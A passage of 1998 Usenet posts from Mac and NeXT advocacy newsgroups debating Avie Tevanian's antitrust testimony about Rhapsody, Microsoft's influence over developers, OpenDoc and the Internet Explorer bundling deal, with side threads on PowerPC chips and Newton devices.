including Microsoft, told Apple that they were concerned trhat Apple would
not be able to obtain a critical mass of application programs written to
work with the new Rhapsody APIs and that customers, accordingly, would not
buy computers containing the new operating system.
20. Apple eventually concluded that it would be unable to convince a
sufficient number of ISVs to develop applications for the new APIs. Most
professional developers are simply unwilling to develop application programs
for a new platform in a world dominated by Microsoft's Windows operating
system. Thus, Apple abandoned its plans to introduce Rhapsody as a new
operating system.
Later, in the section about Internet Explorer, Avie recounts:
30. Concurrent with the ongoing patent dispute, in late 1996 or early 1997,
Apple's then-CEO, Gilbert F. Amelio, and Microsoft's CEO, Bill Gates,
reached an oral agreement for Apple to bundle Microsoft's Internet Explorer
with the MacOS operating system. In return, Microsoft agreed to show public
support for Apple's acquisition of NeXT Software. This was important to
Apple because Microsoft is the largest suppler of application programs for
the MacOS, and its support would be seen by other software developers as a
significant endorsement of the acquisition.
Good luck and Godspeed today, Avie.
Greg
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: 2 Nov 1998 15:21:39 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71kim3$34q@newsb.netnews.att.com>
References: <71ctee$bob$1@cronkite.cs.umd.edu> <71j2fl$olf$1@crib.corepower.com>
Originator: gupta@tlctest
>> Using technology developed by NeXT in the early 90's, this cluster
>> of (about a dozen) G3 Servers cracked an encryption key "nearly as
>> complex as the DES-II" in just under a week, [...]
>> By way of comparison, this same effort took tens of thousands of
>> computers, networked over the Internet, nearly six weeks.
A little incredible. The EFF built a special purpose machine, that
cracked the second DES 56-bit key challenge in 3 or 4 days. In that time
it examined about 25% of the key space (i.e., they got a little lucky).
The machine had of the order of 2000 special chips; they estimated
that it was going through about 88 billion keys/second. [all the above
from memory, I haven't done the arithmetic to check it. Go to
www.distributed.net, and follow links to find more accurate details.]
In contrast, my G3/300 goes through about 2 million keys/second at DES 56.
What may be interesting about what was done with the G3 Servers, compared
to the distributed.net effort is that perhaps the whole thing was
transparent to the programmer. For the distributed.net effort, they had
to put together servers to serve and book-keep keys, have people download,
configure and run clients, etc. etc. This is somewhat different from,
perhaps, writing a program (with the appropriate hooks) and it distributing
itself across machines in the cluster automatically, scheduling itself and
running.
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 98 10:00:15 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2633332-25E2A@206.165.43.150>
References: <363DDCD0.ED90035C@yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
>Again, in my inexpert opinion, this does not seem to be bad or wrong.
>Bundle
>IE and we'll cheer you on in public? Where's the malice? OTOH, the
"bundle
>IE
>or we'll kill Office" charge was another "knife the baby" event, and spoke
>volumes to those who are not deaf. My opinions alone.
>--
You want real "knife the baby" events?
Look at Spindler's testimony about OpenDoc vs Gates from several years ago,
and add in Gate's comments from:
<http://www.usdoj.gov/atr/cases/f2000/22.pdf>
From: Bill Gates
To: Paul Maritz
Cc: Brad Silverberg; [...]
Subject: Netscape discussions
Date: Wendesday, May 31, 1995 1:17PM
i think there is a very powerful deal of some kind we can do with Netscape.
The basic framework is the following:
-Clients make no money
-Netscape is very influence on what happens with CLients
-We want a number of things to become standard in the client -financial
protocols, OLE, authencitaction to our directory...
-There are a small number of things we don't want in the client -Opendoc
-Servers will make money
-For the nex 24 months...
[...]
Note that OpenDoc was the ONLY thing on the list of "don't wants..."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 02 Nov 1998 08:27:54 -0800
Organization: University of California, Los Angeles
Message-ID: <363DDCD0.ED90035C@yahoo.com>
References: <71kj6v$f4j@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Greg Anderson wrote:
> <snippage applied to save bandwidth>
> BARRIERS TO COMPETITION IN THE OPERATING SYSTEM MARKET: APPLE'S EXPERIENCE
> WITH THE RHAPSODY OPERATING SYSTEM
Let me say at the outset that I'm not a Mac basher nor a Microsoft minion.
That said, I find paragraphs 17-20 very unconvincing as evidence that
*Microsoft* is _intentionally_ frustrating competition. What it does say is
that *Apple* lacked the clout and credibility to convince legions of ISVs to
adopt the Rhapsody APIs. A case of "too much [different], too late"...
Part of that could be the fact that Microsoft has 90+% of the market. But, in
my inexpert opinion just having the dominant position does not necessarily
imply evil has been, or will be, done. It says more about Apple's unfortunate
history of lapses, failures and broken promises. Mac users know these things
better than anyone else. We don't need windroids to remind us of them.
If Rhapsody or a Copland-like OS had come out prior to Win95, or shortly
thereafter, it would have been a whole different story with the ISVs, I
suspect. I've no proof, of course.
Is the "knife the baby" story about MS and QT in Avie's deposition? Now,
*that*, in my perspective, is where the blood on the floor came from....
> Later, in the section about Internet Explorer, Avie recounts:
>
> 30. Concurrent with the ongoing patent dispute, in late 1996 or early 1997,
> Apple's then-CEO, Gilbert F. Amelio, and Microsoft's CEO, Bill Gates,
> reached an oral agreement for Apple to bundle Microsoft's Internet Explorer
> with the MacOS operating system. In return, Microsoft agreed to show public
> support for Apple's acquisition of NeXT Software. This was important to
> Apple because Microsoft is the largest suppler of application programs for
> the MacOS, and its support would be seen by other software developers as a
> significant endorsement of the acquisition.
Again, in my inexpert opinion, this does not seem to be bad or wrong. Bundle
IE and we'll cheer you on in public? Where's the malice? OTOH, the "bundle IE
or we'll kill Office" charge was another "knife the baby" event, and spoke
volumes to those who are not deaf. My opinions alone.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 98 10:33:19 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2633AF9-75F6@206.165.43.97>
References: <71ko1u$7u1@newsb.netnews.att.com>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy
gupta@knim.tm.tta.moc-mirror said:
>There would be a problem if Microsoft, for example,
> a. lobbied other ISVs not to support Rhapsody;
> b. said it would not consider porting Office to Rhapsody,
> no matter how much support Apple was able to garner elsewhere;
> c. asked Apple to deprecate Rhapsody in return for better
> integration of MacOS with Windows NT
>
>etc. There appears to be arm-twisting in the case of the default browser,
>and in the case of Quicktime; but none with regard to Rhapsody.
But there WAS arm-twisting in regard to OpenDoc. Apparently Gates felt that
OpenDoc was a bigger threat to him that Rhapsody...
Interesting, no?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 17:47:02 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71kr6m$ang@newsb.netnews.att.com>
References: <71ko1u$7u1@newsb.netnews.att.com> <B2633AF9-75F6@206.165.43.97>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>But there WAS arm-twisting in regard to OpenDoc. Apparently Gates felt that
>OpenDoc was a bigger threat to him that Rhapsody...
>
>Interesting, no?
That Gates was worried about OpenDoc in May 1995 is interesting.
That Gates didn't feel worried about Rhapsody in January 1997 is not
interesting.
This is because Apple's situation was very different at these two times.
-arun gupta
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Power3 = 64-bit G4? (Was Question on G4)
Message-ID: <ukm%1.4689$fS.15375750@news.itd.umich.edu>
Date: Mon, 2 Nov 1998 12:50:44 -0500
NNTP-Posting-Date: Mon, 02 Nov 1998 12:53:30 EDT
Hello,
I originally posted this question under "Question of G4." I thought maybe
a new subject line would be better to get more input from people. But
anyhow, what do you think? From the information that I've been able to
gather on Power3 and the rumors I've heard about the adoption of
"64-bitness" into the G4 line of processors, it seems like they are one in
the same. It seems like rumors of multi-cored 64-bit G4 was about Power3
all along. Also, I've recently heard that Power2 processor was actually PPC
620 renamed. This leads me to think that it makes sense for the next
generation of 64bit PPC to be sold under the PowerX name. I'm rather eager
to see 64bit processor adoption on the Mac side in next couple of years
(though there is no 64-bit OS plans as of yet) if the rumors are correct.
I'd like to know if that's expecting for too much as PowerX line of
processors seem to be strictly for IBM's server line. Thanks for your
insights.
- Jin
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <nagleF1t2Mu.6zz@netcom.com>
Organization: ICGNetcom
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com>
Date: Mon, 2 Nov 1998 17:44:54 GMT
Sender: nagle@netcom6.netcom.com
Robert Fovell <rfovell@yahoo.com> writes:
>Part of that could be the fact that Microsoft has 90+% of the market. But, in
>my inexpert opinion just having the dominant position does not necessarily
>imply evil has been, or will be, done. It says more about Apple's unfortunate
>history of lapses, failures and broken promises. Mac users know these things
>better than anyone else.
And Mac developers know it better than Mac users.
>If Rhapsody or a Copland-like OS had come out prior to Win95, or shortly
>thereafter, it would have been a whole different story with the ISVs, I
>suspect. I've no proof, of course.
Maybe.
One big problem is Microsoft's domination in applications. If
your desktop OS can't run Word and Excel, you're dead. This effectively
gives Microsoft veto power over OS products. And Microsoft uses that
power, as the trial has made clear. That's why the MacOS comes with
Internet Explorer, after all. And why OpenDoc died.
John Nagle
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Mon, 02 Nov 1998 11:58:35 -0600
Organization: Ericsson North America Inc.
Message-ID: <363DF2CB.B1DC9B31@ericsson.com>
References: <71aovh$hkc@newsb.netnews.att.com> <363CE94C.437A392C@nstar.net> <71j6dk$ro4$1@supernews.com> <363D2DBF.9861F0D4@nstar.net> <71jiev$258$1@supernews.com>
Mime-Version: 1.0
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"Donald R. McGregor" wrote:
> >> Apple's declared core markets are consumer, education, and content
> >> producers. I don't see servers in there.
> >
> >Right! Your point?
>
> That Apple might not be interested in selling OSX into heavy-duty
> server markets.
Nobody said "heavy-duty server markets", except you. In any case, I
still don't understand your purpose in saying this. Did you read Rex
Riley's post?
A quote:
>Rhapsody has been blown
>into a $400 million, 2 yr. PregnantPause when it could have been crafted
>into an NTkiller strategy by now. The best Rhapsody expectation now? At
>best a better Macintosh.
All you're doing is confirming that Apple has spoiled the Rhapsody
project.
> >There never was a "death spiral". Look at the figures; the company was
> >doing quite well 12 months before the December 1995 loss. Unless a
> >"death spiral" can happen that quickly, you've been duped into the Big
> >Lie just like everyone else.
>
> Uh, billions in losses, massive loss of market share, decrease in
> revenues, defection of developers, widespread perception that
> Apple was doomed, R&D failing again and again to deliver the
> goods--sounds like a death spiral to me.
There are two primary causes for all of this: poor management, and a
massive perception problem. The poor management was nothing new, the
perception *was*.
> Yes, in the technology world a death spiral can happen that quickly.
> 1995 also coincided with something called Windows95, which erased
> much of the advantage Macs had. All of the sudden Apple didn't
> have as much of a value proposition, and had no credible transition
> plan to a modern OS.
It's true that Win95 caused a lot of the perception problem, but
problems don't have to stay problems. An upgrade plan was needed, and
there were plenty of options. I'm sure you noticed that Microsoft missed
the Internet phenomenon in its early years; would you call that "R&D
failing again and again to deliver the goods"? I could name probably ten
failed Microsoft projects from that year alone, from Blackbird to Active
Movie.
What Apple needed was answers. It wasn't really much to ask; the way
forward was pretty obvious. But what Apple got instead was mass hysteria
and consistent, focused press that hammered a number of key issues:
1) Lack of a brand-new, non-MacOS system.
2) Falling marketshare
3) Falling stock price
These were incredibly idiotic points to mention. More important to
Apple's business survival were four totally different issues:
1) Intellectual and research assets
2) Credit rating
3) A profitable userbase
4) Competent management
Apple had the first three nailed. All it needed was the fourth, which it
gained in 1996 with the acquisitions of Gilbert Amelio, Ellen Hancock,
and other talented auxiliaries like Heidi Roizen.
Public opinion was manipulated to cause this winning formula's failure.
MJP
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 2 Nov 1998 17:04:31 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71komv$8gi@newsb.netnews.att.com>
Originator: gupta@tlctest
ZDNet is quite amazing. A ZDNet article went into
detail about why Microsoft's Active Directory that is not
yet available is "better" than Novell's shipping NDS (which
has enough time for a substantial release to address
current deficiencies in the time that MS will make its
first release). This was written by a ZDNet "senior
technical analyst".
(http://www.zdnet.com/windows/wpro/9810/fn_faceoff_01.html)
The article concluded with the plea
that if you really, really require a directory system,
and don't have one now, then in any case, you won't have it
fully implemented by the time MS ships its stuff, and so why
consider NDS at all ??
But there is now, an editorial from ZDNet, saying
"Corporations needing a directory service now shouldn't
worry about directory wars. It's still a one-horse town,
and NDS is all that IT managers have available to ride.
There's no need to become paralyzed by Microsoft's FUD
campaign against NDS..... which] has at least a six-year
head start on Active Directory....."
i.e., ZDNet is saying, "ignore our own FUD !!!!".
Do you think that the government action against Microsoft
is encouraging a little truth and honesty from ZDNet ?
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 18:21:43 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71kt7n$her@newsb.netnews.att.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com>
Originator: gupta@tlctest
"Is Apple another whining competitor ?"
at
http://webserv.vnunet.com/www_user/plsql/pkg_vnu_news.right_frame?p_story=67433
points out several flaws in Tevanian's testimony.
-arun gupta
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 02 Nov 1998 09:54:31 -0800
References: <71ko1u$7u1@newsb.netnews.att.com> <B2633AF9-75F6@206.165.43.97>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-0211980954310001@ip158.seattle11.wa.pub-ip.psi.net>
>But there WAS arm-twisting in regard to OpenDoc. Apparently Gates felt that
>OpenDoc was a bigger threat to him that Rhapsody...
>
>Interesting, no?
>
No. Lawson, you're making a huge deal out of nothing.
Gates wasn't concerned about OpenDoc in the sense that
it was a threat to Windows. He was concerned that it
was a threat to OLE. And guess what, it didn't turn
out to be a threat to anything.
Best Regards,
CaHand
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 02 Nov 1998 09:54:19 -0800
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71ko1u$7u1@newsb.netnews.att.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-0211980954190001@ip158.seattle11.wa.pub-ip.psi.net>
>There would be a problem if Microsoft, for example,
> a. lobbied other ISVs not to support Rhapsody;
> b. said it would not consider porting Office to Rhapsody,
> no matter how much support Apple was able to garner elsewhere;
Gates refused to commit to any Rhapsody product
offerings, according to Amelio's book. "I can't
do that, Gil."
> c. asked Apple to deprecate Rhapsody in return for better
> integration of MacOS with Windows NT
People forget that it wasn't just a competition between
BeOS and NEXTSTEP. It was a choice between Be, NeXT
and WINDOWS NT.
>etc. There appears to be arm-twisting in the case of the default browser,
>and in the case of Quicktime; but none with regard to Rhapsody.
>
I think that's a rather naive assumption. Ever
heard of Carbon?
Best Regards,
CaHand
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 98 11:35:53 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B26349A3-3E7FF@206.165.43.97>
References: <ch3-0211980954310001@ip158.seattle11.wa.pub-ip.psi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
CaHand <ch3@earthlink.net> said:
>No. Lawson, you're making a huge deal out of nothing.
>Gates wasn't concerned about OpenDoc in the sense that
>it was a threat to Windows. He was concerned that it
>was a threat to OLE. And guess what, it didn't turn
>out to be a threat to anything.
???
Are you saying that Rhapsody was EVER a threat to Windows?
It was a threat to Microsoft's lock on cross-platform solutions, but hardly
a threat to Windows.
OpenDoc wasn't a threat to Windows either. It also was a threat to MS's
lock on cross-platform solutions (and MS-only solutions), but he perceived
it as a bigger threat because IBM and bunches of other companies were
involved in it, whereas Rhapsody was Apple-only.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Mon, 02 Nov 1998 11:56:11 -0700
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <see-below-0211981156120001@dynamic8.pm09.mv.best.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com>
In article <363DDCD0.ED90035C@yahoo.com>, Robert Fovell
<rfovell@yahoo.com> wrote:
> Greg Anderson wrote:
>
> > BARRIERS TO COMPETITION IN THE OPERATING SYSTEM MARKET: APPLE'S EXPERIENCE
> > WITH THE RHAPSODY OPERATING SYSTEM
>
> Let me say at the outset that I'm not a Mac basher nor a Microsoft minion.
> That said, I find paragraphs 17-20 very unconvincing as evidence that
> *Microsoft* is _intentionally_ frustrating competition. What it does say is
> that *Apple* lacked the clout and credibility to convince legions of ISVs to
> adopt the Rhapsody APIs. A case of "too much [different], too late"...
However, can you imagine any other new commercial operating system/set of
API's from any other vendor which would have a better chance of entering
the market? I feel as if you've so much come to accept Microsoft's
absolute dominance of the market that you assume it's a natural thing.
I think the point is this demolishes Microsoft's assertions that anyone
could successfully challenge them if only they had a better product, as
well as that Microsoft's monopoly in no way stifles innovation. Here is a
clear example of better technology from a major vendor not standing a
chance of success, and of people not being able to benefit from very cool
technology.
> > Later, in the section about Internet Explorer, Avie recounts:
> >
> > 30. Concurrent with the ongoing patent dispute, in late 1996 or early 1997,
> > Apple's then-CEO, Gilbert F. Amelio, and Microsoft's CEO, Bill Gates,
> > reached an oral agreement for Apple to bundle Microsoft's Internet Explorer
> > with the MacOS operating system. In return, Microsoft agreed to show public
> > support for Apple's acquisition of NeXT Software. This was important to
> > Apple because Microsoft is the largest suppler of application programs for
> > the MacOS, and its support would be seen by other software developers as a
> > significant endorsement of the acquisition.
>
> Again, in my inexpert opinion, this does not seem to be bad or wrong. Bundle
> IE and we'll cheer you on in public? Where's the malice?
When have you ever heard Microsoft promote Rhapsody? I haven't heard any
announcements of Microsoft Office being developed for Rhapsody, for
instance.
> OTOH, the "bundle IE
> or we'll kill Office" charge was another "knife the baby" event, and spoke
> volumes to those who are not deaf. My opinions alone.
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 19:19:43 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-0211981419050001@pm61-11.magicnet.net>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71kt7n$her@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote:
> "Is Apple another whining competitor ?"
> at
>
http://webserv.vnunet.com/www_user/plsql/pkg_vnu_news.right_frame?p_story=67433
>
> points out several flaws in Tevanian's testimony.
The "flaws" you mention tend to be on the "Well, Apple could have just let
Microsoft steamroller them..."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Date: Mon, 02 Nov 1998 12:00:50 -0700
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <see-below-0211981200500001@dynamic8.pm09.mv.best.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71ko1u$7u1@newsb.netnews.att.com>
In article <71ko1u$7u1@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> Agreed. Microsoft having 90+% of the market is not the problem.
>
> There would be a problem if Microsoft, for example,
> a. lobbied other ISVs not to support Rhapsody;
> b. said it would not consider porting Office to Rhapsody,
> no matter how much support Apple was able to garner elsewhere;
> c. asked Apple to deprecate Rhapsody in return for better
> integration of MacOS with Windows NT
>
> etc. There appears to be arm-twisting in the case of the default browser,
> and in the case of Quicktime; but none with regard to Rhapsody.
Oh? I think the point being argued is that Microsoft, due to its
applications as well as OS dominance (IE and Office) doesn't need to lobby
anyone or specifically say they won't port Office. All they have to do to
kill Rhapsody is to *fail* to support it, to not announce development of
Office for Rhapsody. It's not thier OS dominance alone that's the problem,
but their combination of OS and application dominance.
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 02 Nov 1998 11:28:33 -0800
Organization: Graves Associates
Message-ID: <gmgraves-0211981128330001@sf-usr1-48-176.dialup.slip.net>
References: <71kj6v$f4j@shelob.afs.com>
In article <71kj6v$f4j@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Those of us who come from the NEXTSTEP/OPENSTEP side had long suspected and
> pieced together tidbits of this story, but it's nice to see our paranoia
> validated. Here are paragraphs 17-20 of Avie's testimony introduced on
> Friday:
>
> BARRIERS TO COMPETITION IN THE OPERATING SYSTEM MARKET: APPLE'S EXPERIENCE
> WITH THE RHAPSODY OPERATING SYSTEM
>
<sniped to save bandwidth>
There is certainly nothing new, or earth shattering in Mr. Anderson's
posting or
in Avie's testamony.
George Graves
From: milo_mklinux@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Mon, 02 Nov 1998 19:37:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71l1mc$e2o$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <36314761.686007A9@milestonerdl.com> <71di2h$3ua$1@nnrp1.dejanews.com> <71jik4$ghk$1@cronkite.cs.umd.edu>
In article <71jik4$ghk$1@cronkite.cs.umd.edu>,
seanl@cs.umd.edu (Sean Luke) wrote:
> milo_mklinux@my-dejanews.com wrote:
> > In article <36314761.686007A9@milestonerdl.com>,
>
> > > WWDC 1997
> > > Newton/OpenDoc/Rhapsody OS are the future.
> > >
> > > WWDC 1998
> > > Newton - Dead
> >
> > Get a Palm PC and get over it.
Oops! How embarassing! I meant to say "Get a Palm Pilot and get over it."
> Not until they even *approach* the abilities of a MessagePad 2000 or 2100.
> WinCE is still a truly awful environment, it's just amazing they could
> have done that badly after sitting it out and watching Apple and Psion for
> clues on what to do and what not to do.
I never used a Palm PC. Are they really that bad? The color screen looks
kinda nifty.
> --Sean, who's writing this *ON* a Newton MessagePad 2000, and who just
> coded his first Newton app, a complex Chinese input system, in just three
> evenings after poking around with a radically unusual language
> (NewtonScript) and a totally different development environment (Newton
> Toolkit). Let's see a new WinCE developer do *that*.
Please forgive my asking, but why are you developing products for a dead
platform?
> Sean Luke
> seanl@cs.umd.edu
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 98 13:14:04 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B26360A5-1610B@206.165.43.141>
References: <slrn73s34b.587.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
>True. So far. (So far as we know.) It's clear now that Carbon should
>have been part of Rhapsody from the get go.
From statements made by Ellen Hancock in January 97, it appears that
OpenDoc was meant to be the "Carbon API" of the original Rhapsody plan.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 20:29:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71l4mj$o2c@newsb.netnews.att.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71ko1u$7u1@newsb.netnews.att.com> <see-below-0211981200500001@dynamic8.pm09.mv.best.com>
Originator: gupta@tlctest
Dohnut <see-below@not-my-address.invalid> wrote:
>>
>Oh? I think the point being argued is that Microsoft, due to its
>applications as well as OS dominance (IE and Office) doesn't need to lobby
>anyone or specifically say they won't port Office. All they have to do to
>kill Rhapsody is to *fail* to support it, to not announce development of
>Office for Rhapsody. It's not thier OS dominance alone that's the problem,
>but their combination of OS and application dominance.
I disagree. Neither Microsoft's OS dominance nor its application
dominance is in itself illegal; nor does it compel them to have to
port applications to Rhapsody, Linux, BeOS etc., simply because they
dominate. Anyway, none of the DTP players announced ports to Rhapsody,
either; this is a market in which Apple's presence is substantial.
I think however, that while being dominant in OS and applications doesn't
convert Microsoft's business into a charity, it does put an obligation
on them to support Rhapsody, Linux, BeOS or whatever, if it looks like
that support is would be financially viable without considering the potential
cost to their Windows OS business. This is where the anti-monopoly laws
kick in.
-arun gupta
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 2 Nov 1998 20:58:51 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn73s78a.5lu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <71l58n$oh5@newsb.netnews.att.com>
NNTP-Posting-Date: 2 Nov 1998 20:58:51 GMT
On 2 Nov 1998 20:38:47 GMT, wrote:
:Check :
:http://www.tuxedo.org/~esr/halloween.html
:
:It purports to be an internal strategy memorandum on Microsoft's
:possible responses to the Linux,open source phenomenon.
:
:As the author says, take a copy while you can, before MS sues to
:shut it down.
If they sue, then that means it has to be real, and they have to
show that they are damaged by its release.
Both of these enhance its value.
Sleazier would be to sue for libel, in which case they would have to
prove it to be untrue, but if the defendant is allowed to subpoena
evidence from Microsoft, and assuming it is real, they would have no
case.
:-arun gupta
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Date: 2 Nov 98 14:23:51 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2637101-538D4@206.165.43.141>
References: <F1t9z3.Bq3@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
> From what I understand you basically have it backwards. The original
>POWER1 was a multi-chip system (similar to the 88000 series) which was
>later "distilled" into the 601, 604 and in a lower functionality version,
>the 603. The 620 was better looked at as a single-chip implementation of
>the POWER2, as opposed to _being_ the POWER2. It seems to depend on the
>case, but the chips lead from the architechture, which is what the POWER
>name refers to.
The 601 was a transitional CPU between the POWER and PowerPC architectures.
The 603 was a low-end, low-cost 32-bit implementation of PowerPC and the
604 was a higher-end, 32-bit implementation. The 620 is an implementation
of the 64-bit PowerPC architecture, and, AFAIK, has nothing to do with
POWER2 except some ISA overlap (and whatever reuse they could get from the
POWER2 design). The 620 isn't a POWER2 on a chip or anything like that,
AFAIK. It's just the first 64-bit PPC.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nospam@nospam.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 1998 21:55:59 GMT
Organization: Internet Specialties West, Inc.
